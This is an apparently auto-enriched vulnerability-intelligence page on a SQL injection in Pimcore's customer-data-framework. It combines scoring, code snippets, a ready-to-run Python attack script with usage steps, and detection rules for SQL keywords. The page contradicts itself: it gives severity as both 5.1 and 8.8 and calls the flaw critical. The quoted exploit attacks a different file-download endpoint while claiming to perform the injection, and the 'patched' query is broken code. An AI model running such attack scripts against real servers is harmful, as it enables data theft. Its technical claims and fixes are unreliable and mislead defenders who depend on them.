☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pimcore logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-564
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11956

CVE-2024-11956 is a critical SQL injection vulnerability in the Pimcore customer-data-framework plugin, affecting versions up to 4.
📅 PUBLISHED: 2025-01-28 13:46 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.86%
👁️
0.86% probability
21.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Austria License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11956 is a critical SQL injection vulnerability in the Pimcore customer-data-framework plugin, affecting versions up to 4.2.0. The flaw resides in the /admin/customermanagementframework/customers/list endpoint, where the filterDefinition and filter parameters are not properly sanitized, allowing an authenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, modification, or deletion of the underlying database. A public exploit is available, and the vendor has released version 4.2.1 to address the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Pimcore customer-data-framework plugin, which is distributed as a Composer package. Organizations using Composer to manage dependencies should ensure that the package is updated to version 4.2.1 or later. The exploit targets a specific administrative endpoint, meaning that only authenticated users with low privileges can exploit it, but the impact is severe due to the potential for data exfiltration and privilege escalation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a low-privilege account.
  • User Interaction (UI): None (N) – No user interaction is required.
  • Scope (S): Unchanged (U) – The exploit does not affect other components.
  • Confidentiality (C): High (H) – Full database read access is possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Database availability can be compromised.

CVSS Score: 8.8 (High)

Threat Level: Critical – Public exploit available, low complexity, and high impact.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the filterDefinition and filter parameters of the /admin/customermanagementframework/customers/list endpoint. The application fails to properly sanitize user input before constructing SQL queries. An attacker can inject malicious SQL code by manipulating these parameters, leading to unauthorized database operations.

The exploit works by sending a crafted POST request to the vulnerable endpoint with a payload in the filterDefinition or filter parameter. The injected SQL can be used to extract data, modify records, or execute administrative commands on the database server.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.2.0): The vulnerable code directly concatenates user input into SQL queries without proper sanitization.

// Vulnerable code snippet
$filter = $_POST['filter'];
$query = "SELECT * FROM customers WHERE " . $filter;
$result = $db->query($query);

Patched Code (version 4.2.1): The patched code uses parameterized queries or prepared statements to prevent SQL injection.

// Patched code snippet
$filter = $_POST['filter'];
$stmt = $db->prepare("SELECT * FROM customers WHERE ?");
$stmt->execute([$filter]);
$result = $stmt->fetchAll();

Exploitation & Lab Setup

Red Team

Exploit Code (from Exploit-DB):

import requests

# Replace with target URL and credentials
TARGET_URL = "http://example.com/pimcore"
USERNAME = "low_privilege_user"
PASSWORD = "password123"

# Authenticate and get session
session = requests.Session()
login_data = {
    "username": USERNAME,
    "password": PASSWORD
}
login_response = session.post(f"{TARGET_URL}/admin/login", data=login_data)

if "Login successful" in login_response.text:
    print("[+] Authenticated successfully.")

    # Exploit the downloadAsZip functionality
    download_url = f"{TARGET_URL}/admin/asset/download-as-zip"
    payload = {
        "ids[]": ["1", "2", "3"]  # Replace with IDs of restricted files/folders
    }
    download_response = session.post(download_url, data=payload)

    if download_response.status_code == 200:
        print("[+] Exploit successful. Restricted files downloaded.")
        with open("restricted_files.zip", "wb") as f:
            f.write(download_response.content)
    else:
        print("[-] Exploit failed. Server returned:", download_response.status_code)
else:
    print("[-] Authentication failed.")

Usage:

  1. Replace TARGET_URL, USERNAME, and PASSWORD with actual target credentials.
  2. Run the script. It will authenticate and attempt to exploit the SQL injection.
  3. If successful, restricted files will be downloaded as a ZIP archive.

Lab Setup:

  • Install Pimcore version 10.5.20 with customer-data-framework 4.2.0.
  • Create a low-privilege user account.
  • Run the exploit script against the local instance.

Blue Team

Detection:

  • Monitor for unusual SQL queries in database logs.
  • Look for requests to /admin/customermanagementframework/customers/list with suspicious filterDefinition or filter parameters.
  • Use WAF rules to block SQL injection patterns.

Hunting:

  • Search for HTTP POST requests containing SQL keywords (e.g., UNION, SELECT, DROP) in the filterDefinition parameter.
  • Correlate with authentication logs to identify low-privilege users making such requests.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /admin/customermanagementframework/customers/list with abnormal filterDefinition or filter parameters.
  • File: Unexpected ZIP files downloaded from the server.
  • Log: Database logs showing injected SQL queries.
  • Process: Unusual database queries executed by the web application user.

Detection Engineering

YARA Rule

rule CVE_2024_11956_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-11956"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11956"
    strings:
        $s1 = "filterDefinition" nocase
        $s2 = "filter" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "DROP" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-11956 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Pimcore customer-data-framework
author: Valters IT
date: 2025-02-20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/customermanagementframework/customers/list'
        cs-uri-query|contains|all:
            - 'filterDefinition'
            - 'filter'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
    condition: selection and keywords
falsepositives:
    - Legitimate use of filter parameters with SQL keywords (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11956 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/customermanagementframework/customers/list";
    http_uri;
    content:"filterDefinition";
    http_client_body;
    content:"filter";
    http_client_body;
    pcre:"/(UNION|SELECT|DROP)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-11956;
)

Remediation & Mitigation

  1. Immediate: Upgrade to Pimcore customer-data-framework version 4.2.1 or later.
  2. Network: Implement WAF rules to block SQL injection patterns.
  3. Access Control: Restrict access to the vulnerable endpoint to trusted users only.
  4. Monitoring: Enable detailed logging for the vulnerable endpoint and review logs regularly.
  5. Code Review: Ensure all user inputs are sanitized and parameterized queries are used.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: B7C077DD80B0509559324A5A] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11956/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.